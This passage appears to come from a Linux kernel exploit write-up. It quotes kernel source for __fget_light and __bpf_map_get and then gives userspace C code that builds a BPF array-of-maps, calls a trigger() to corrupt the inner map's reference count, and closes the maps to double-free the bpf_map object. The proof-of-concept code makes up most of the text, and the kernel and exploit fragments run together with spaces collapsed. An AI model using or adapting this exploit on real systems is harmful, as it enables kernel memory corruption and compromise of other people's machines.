/* * Lightweight file lookup - no refcnt increment if fd table isn't shared. * * You can use this instead of fget if you satisfy all of the following * conditions: * 1) You must call fput_light before exiting the syscall and returning control * to userspace (i.e. you cannot remember the returned struct file * after * returning to userspace). * 2) You must not call filp_close on the returned struct file * in between * calls to fget_light and fput_light. * 3) You must not clone the current task in between the calls to fget_light * and fput_light. * * The fput_needed flag returned by fget_light should be passed to the * corresponding fput_light. */ staticunsignedlong __fget_light(unsignedint fd, fmode_t mask) { structfiles_struct *files = current->files; structfile *file;
/* * If another thread is concurrently calling close_fd() followed * by put_files_struct(), we must not observe the old table * entry combined with the new refcount - otherwise we could * return a file that is concurrently being freed. * * atomic_read_acquire() pairs with atomic_dec_and_test() in * put_files_struct(). */ if (likely(atomic_read_acquire(&files->count) == 1)) { file = files_lookup_fd_raw(files, fd); if (!file || unlikely(file->f_mode & mask)) return0; return (unsignedlong)file; } else { file = __fget_files(files, fd, mask); if (!file) return0; return FDPUT_FPUT | (unsignedlong)file; } }
/* if error is returned, fd is released. * On success caller should complete fd access with matching fdput() */ structbpf_map *__bpf_map_get(structfdf) { if (!f.file) return ERR_PTR(-EBADF); if (f.file->f_op != &bpf_map_fops) { fdput(f); return ERR_PTR(-EINVAL); }
int key = 0; prctl(PR_SET_NAME, "Qanux"); int inner_map = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, 4, 10); if (inner_map < 0) err_exit("Failed to bpf_map_create for inner_map"); printf("[+] inner_map: %d\n", inner_map);
int outer_map = create_bpf_array_of_map(inner_map, 4, 4, 10); if (outer_map < 0) err_exit("Failed to bpf_map_create for outer_map"); printf("[+] outer_map: %d\n", outer_map);
puts("[+] set inner_map.ref = 2"); if (bpf_map_update_elem(outer_map, &key, &inner_map, BPF_ANY) < 0) err_exit("Failed to bpf_map_update_elem");
puts("[+] BUG set inner_map.ref = 1"); trigger(inner_map);
puts("[+] close outer_map to free inner_mmap's bpf_map object"); // frist free bpf_map close(outer_map);
puts("[+] try to close inner_map"); // second free bpf_map trigger(inner_map); close(inner_map);